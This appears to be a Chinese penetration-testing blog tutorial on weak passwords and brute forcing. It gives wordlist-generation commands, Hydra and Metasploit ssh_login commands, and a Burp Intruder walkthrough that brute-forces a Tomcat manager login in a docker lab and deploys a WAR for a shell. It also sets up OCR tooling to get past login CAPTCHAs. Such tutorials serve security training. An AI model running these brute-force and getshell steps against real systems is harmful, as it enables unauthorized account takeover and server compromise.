弱口令密码破解

弱口令和暴力破解

弱口令

弱口令( weak password ) 没有严格和准确的定义,通常认为容易被别人(他们有可 能对你很了解)猜测到或被破解工具破解的口令均为弱口令。弱口令指的是仅包含 简单数字和字母的口令。

公共弱口令

公共弱口令就是常见的密码,也就是根据大量的密码数据统计得出的出现频率较高的弱口令。

条件弱口令

往往与这个人的个人信息(姓名,生日,手机号,特殊昵称,爱好,社交软件账号,常用username ,邮箱 ),关系成员(家庭成员,男女朋友 ),所处环境(车牌号,公司信息比如公司名称,公司成立时间或地点,公司 domain 等 ),还有特殊的指定字符(数字,单词 )等相关

弱口令示例

简单数字组合: 000000 111111 11111111 112233 123123
顺序字符组合:abcdef abcabc abc123 a1b2c3 aaa111
临近字符组合:123qwe Qwerty qweasd
特殊含义组合:admin password p@ssword Iloveyou 5201314

弱口令原因

与个人习惯、意识相关,为了避免忘记密码,使用一个非常容易记住的密码,或者是直接采用系统的默认密码等。相关的安全意识不够,总认为不会有人会猜到我这个弱口令的。

暴力破解

顾名思义,暴力破解的原理就是使用攻击者自己的用户名和密码字典,一个一个去枚举,尝试是否能够登录。因为理论上来说,只要字典足够庞大,枚举总是能够成功的!

但实际发送的数据并不像想象中的那样简单——“ 每次只向服务器发送用户名和密码字段即可!”,实际情况是每次发送的数据都必须要封装成完整的 HTTP 数据包才能被服务器接收。但是你不可能一个一个去手动构造数据包,所以在实施暴力破解之前,我们只需要先去获取构造HTTP包所需要的参数,然后扔给暴力破解软件构造工具数据包,然后实施攻击就可以了。Web暴力破解通常用在,已知部分信息,尝试爆破网站后台,为下一步的渗透测试做准备。

密码破解

密码破解介绍

指用枚举的方式来爆破用户信息。具体的流程是用事先收集好的数据集成一个字典,然后用字典不断进行枚举,直到枚举成功

暴力破解工具

Burpsuite

Hydra

Metasploit

SNETCracker

https://github.com/shack2/SNETCracker

暴力破解字典

  • Default Password

    历年弱口令 top100 , github 上搜索弱口令字典

    https://github.com/k8gege/PasswordDic

    https://github.com/danielmiessler/SecLists

    https://192-168-1-1ip.mobi/default-router-passwords-list/

    https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv

    https://github.com/Dormidera/WordList-Compendium

  • 创建自定义字典

    1. Crunch

      crunch 4 6 0123456789ABCDEF -o crunch1.txt
      #长度从4到6用哪个字母
      
      crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha
      #只有长度4使用字符集mixalpha
      
      @ :小写字母字符
      , :大写字母字符
      % :数字字符
      ^ :特殊字符,包括空格
      
      crunch 7 7 -t ,@@^^%%
      
    2. Cewl

      ruby编写的应用程序,可以将给定的URL爬行到指定的深度,能有选择的跟随外部链接,并返回一个单词列表,这些单词可用于密码破解。

      cewl [options] <url>
      
      Options:
          -h,--help:显示帮助。
          -k,-keep:保留下载的文件。
          -d <x>,-depth <x>:到达蜘蛛的深度,默认为2。-
          -m,--min_word_length:最小字长,默认为3。-
          -o,--offsite:让蜘蛛访问其他站点。
          -w,--write:将输出写入文件。
          -u,--ua <agent>:要发送的用户代理。
          -n,--no-words:不输出单词表。
          --with-numbers:接受带有数字以及字母
          -a,--meta的单词:包括元数据。
          --meta_file文件:元数据的输出文件。
          -e, email:包括电子邮件地址。
          --email_file <文件>:电子邮件地址的输出文件。
          --meta-temp-dir <dir>:exiftool解析文件时使用的临时目录,默认为/ tmp。
          -c, count:显示找到的每个单词的计数。
          -v,verbose:详细。
          --debug:额外的调试信息。
          
      Authentication
          --auth_type:摘要或基本。
          --auth_user:身份验证用户名。
          --auth_pass:验证密码。
          
      proxy
          --proxy_host:代理主机。
          --proxy_port:代理端口,默认为8080
          --proxy_username:代理的用户名(如果需要)。
          --proxy_password:代理的密码(如果需要)。
          
      header
      	--header,-H:格式为name:value-可以传递多个。
      	
      <url>:蜘蛛站点。
      
      cewl -d 2 -m 5 -w words.txt https://***
      
    3. pydictor

      https://github.com/LandGrey/pydictor

      -h,--help			显示帮助信息
      -base Type			Choose from (d, L, c, dL, dc, Lc, dLc)
      						d 		digital				[0 - 9]
      						L 		lowercase letters 	[a - z]
      						c 		capital letters 	[A - Z]
      						dL 		Mix d and L			[0-9 a-z]
                              dc 		Mix d and c			[0-9 A-Z]
                              Lc 		Mix L and c			[a-z A-Z]
                              dLc 	Mix d, L and dL 	[0-9 a-z A-Z]
      -char character			使用自定义字符构建字典
      -chunk arg [arg ...] 	使用multi-chunk构建字典
      -extend arg [arg ...]	扩展字符串列表或文件
      -plug arg [arg ...] 	birthday [开始日期] [结束日期], 时间格式: [yyyyMMddor ddMMyyyy( dmy option)]
      						ftp[keyword1] [keyword2] ...
                              pid4 		中国身份证最后4位
                              pid6 		中国身份证最后6位
                              pid8 		中国身份证最后8位
                              scratch 	[url_or_file]
      
      --conf [file_path] 		使用配置字符串或文件构建字典
      --sedb					进入社会工程词典生成器
      -o path, output path	设置输出目录路径
      -tool arg [arg ...]		combiner 	[dir]
      						comparer 	[minuend_file] [subtrahend_file]
                              counter 	['v','s','vs'] [file] [view_num]
                              handler 	[file]
                              hybrider 	[file1] [file2] ...
                              shredder 	[file_or_dir]
                              uniqbiner 	[dir]
                              uniqifer 	[file]
      
      --len minlen maxlen 	默认: min=0 max=4
      --head prefix			为项目添加字符串头
      --tail suffix			为项目添加字符串尾
      --encode encode			b16			base16 编码
                              b32			base32 编码
                              b64			base64 编码
                              des			Des算法和需要修改的代码
                              execjs		执行js函数和需要修改代码
                              hmac Hmac	消息摘要算法
                              md5			Md5消息摘要算法输出32个字符
                              md516 		Md5消息摘要算法输出16个字符
                              none		默认,不编码
                              rsa			Rsa算法,需要修改代码
                              sha1		Sha-1消息摘要算法
                              sha256		Sha-256消息摘要算法
                              sha512		Sha-512消息摘要算法
                              test		通过修改函数自定义编码方法
                              url			url 编码
      
      --occur letter digital special	默认: letter " 99" digital " 99" special " 99"
      --types letter digital special	默认: letter " 0" digital " 0" special " 0"
      --repeat letter digital special	默认: letter " 0" digital " 0" special " 0"
      --regex regex					正则表达式过滤器, 默认: (.*?)
      --level code					使用代码[1-5]过滤结果, 默认: 3
      --leet code [code ]				选择let模式代码 (0, 1, 2, 11-19, 21-29)
      --dmy使用 ddMMyyyy               时间格式, 默认时间格式: yyyyMMdd
      

暴力破解场景

  • 不含验证码后台
  • 不失效的验证码
  • 各种常见应用程序,比如: phpmyadmin 、 tomcat 、 mysql
  • 各种协议:ftp、ssh、rdp等
  • 爆破大马

实际利用

Tomcat弱口令

由于管理员安全意识不足,设置了弱口令导致了可以被爆破从而部署 war 包 getshell 。(需要注意的是tomcat 6版本之后针对爆破设置了锁定机制,爆破超过一定频率后账户会被锁定,即使账密正确也无法登录)

漏洞环境

docker pull betsy0/tomcat

docker run -itd --privileged -p 8080:8080 --name tomcat-pass-shell betsy0/tomcat /usr/sbin/init

docker exec -it ************ /bin/bash
//************是指docker中tomcat的id

find / -name server.xml
/opt/apache-tomcat-8.5.30/conf/server.xml//自己查询出来的server.xml文件地址

vi /opt/apache-tomcat-8.5.30/conf/server.xml
//将<Realm className="org.apache.catalina.realm.LockOutRealm" failureCount="500" lockOutTime="0">中"500"修改为"50000000000000000000000000"保存并退出

Tomcat发现

  • Tomcat默认页面

在这里插入图片描述

  • 抓取登录包

    如果tomcat默认页面更改或显示登录页面通过抓包分析:

在这里插入图片描述

  • 发现其账户密码是经过 base64 加密的,组合为 user:pass

在这里插入图片描述

Burpsuite爆破

使用 burpsuit 爆破的思路就是,先从用户名爆破文件里面导入用户名,再在每一个用户名后面加一个冒号,最后再在每一个冒号后面添加所有可能的密码,再把这三个的结合体使用 base64 加密后发送给服务器,逐个尝试得到正确账号密码。也就是说我们需要给 burpsuit 导入三样东西,即:用户名表、冒号、密码表。

  • 将抓到的包发送到爆破模块。快捷键 ctrl+i

在这里插入图片描述

该模块会自动将等于号后面的值标记,右侧功能分别为:

add			添加标记
Clear		清除标记
auto		自动在等于号后面添加标记
refresh 	刷新
  • attack type:攻击类型

    1. sniper:一个字典对应一个参数值
    2. battering ram:一个字典对应多个参数值(也就是不管选择爆破多少个参数值都是使用同一个字典)
    3. pitchfork:平行爆破(也就是字典一对应参数值一,字典二对应参数值二,爆破的次数取决于小的字典)
    4. cluster bomb:交叉爆破(顾名思义,交叉爆破产生的字典非常庞大)
  • 选定爆破参数值,进入到 payloads 值设置

  • payloads type
    
    Simple list:简单字典
    Runtim file:运行文件
    Custom iterator:自定义迭代器
    Character sub:字符串替换
    
  • 这里选用自定义迭代器,在 1 输入我们的用户名

在这里插入图片描述

  • 在 2 输入冒号

在这里插入图片描述

  • 在 3 输入密码

在这里插入图片描述

  • 对 Payload 进行 Base64 编码

    注意:Burpsuite会自动将符号进行 url 编码,这里需要将 Payload Encoding 的勾给去掉

在这里插入图片描述

  • 开始爆破

    选择 Start attack 进行爆破得到用户密码

在这里插入图片描述

后台GetShell

登录到后台后可以通过部署 war 包进行 getshell

  • 什么是 war 包

    war 包是用来进行 Web 开发时一个网站项目下的所有代码,包括前台 HTML/CSS/JS 代码,以及后台 JavaWeb 的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布也会打包成 War 包进行发布。 War 包可以放在 Tomcat 下的 webapps 或 word 目录,当Tomcat 服务器启动时, War 包即会随之被解压得到源代码并自动部署。

  • war包制作方法

    jar –cvf *.war *.jsp
    

在这里插入图片描述

超级弱口令检查工具爆破

优点:图形化界面操作便捷

缺点:功能方面不全面,不如九头蛇

这里使用超级弱口令检查工具,该工具包含许多爆破模块,支持 ssh,rdp,mysql 等爆破。使用简单,直接导入IP及用户名密码字典就可以使用。

在这里插入图片描述

并且内置了许多字典

在这里插入图片描述

直接输入ip,也可以导入ip列表批量爆破,导入用户名及密码字典,选中服务,就可以得到用户名密码。

在这里插入图片描述

Hydra(九头蛇)爆破

Hydra是一款开源的暴力破解工具,支持FTP、MSSQL、MySQL、PoP3、SSH等暴力破解

优点:更快,更好,功能全面

缺点:命令行模式操作不方便

hydra -L */username.txt -P */password.txt ***.***.***.*** *类型* -f
hydra -L username.txt -P password.txt 192.168.164.1 mysql -f

参数介绍
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码。

MSF模块爆破

总体不如九头蛇

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 172.26.2.36
set USER_FILE /root/Desktop/tools/dic_username_ssh.txt
set PASS_FILE /root/Desktop/tools/pwd100.txt

这里 metasploit 在探测 ssh 弱口令时,如果发现存在,则会返回一个 linux shell ,注意此时不是 meterpreter shell 。接下来可以使用 sessions –u id 进行升级

验证码爆破

登录页面存在验证码,尝试爆破,验证码错误

xp_CAPTCHA

使用 xp_CAPTCHA 识别验证码,进行密码爆破

安装

  • 环境
    系统:Centos8
    python版本:3.6.8(要小于3.7)

  • 安装 muggle_ocr 模块

    python3 -m pip install -U pip
    
    python3 -m pip install -i http: mirrors.aliyun.com/pypi/simple/ 
    trusted-host mirrors.aliyun.com muggle-ocr
    第一种:
    1. 解压 muggle-ocr-1.0.3.tar.gz
    
    2. 安装muggle-ocr (安装过程大概要10多分钟)
    python3 setup.py install
    
    3. 安装requests
    pip3 install requests -i https: mirrors.ustc.edu.cn/pypi/web/simple
    
    4. 安装ddddocr
    pip3 install ddddocr -i https: mirrors.ustc.edu.cn/pypi/web/simple
    
    5. 启动NEW_xp_CAPTCHA_4.2服务端
    python server_4.2.py
    
    # 安装 muggle-ocr 模块步骤
    工具文件夹中下载muggle-ocr-1.0.3.tar.gz
    pip3 install muggle-ocr-1.0.3.tar.gz -i https://pypi.douban.com/simple
    

配置

  • 运行server

  • 如下图运行成功,会在本地监听8899端口作为web服务

在这里插入图片描述

  • 运行报错解决方法:

    yum:yum install libglvnd-glx-1.0.1-0.8.git5baa1e5.el7.x86_64
    
    apt:apt install libgl1-mesa-glx
    
  • 访问 http://192.168.164.133:8899

在这里插入图片描述

使用

  • Burp导入插件

在这里插入图片描述

  • 抓取登录请求包,发送到Intruder模块,添加爆破项:密码,验证码项改为@xiapao@1@

在这里插入图片描述

  • 修改插件配置

在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值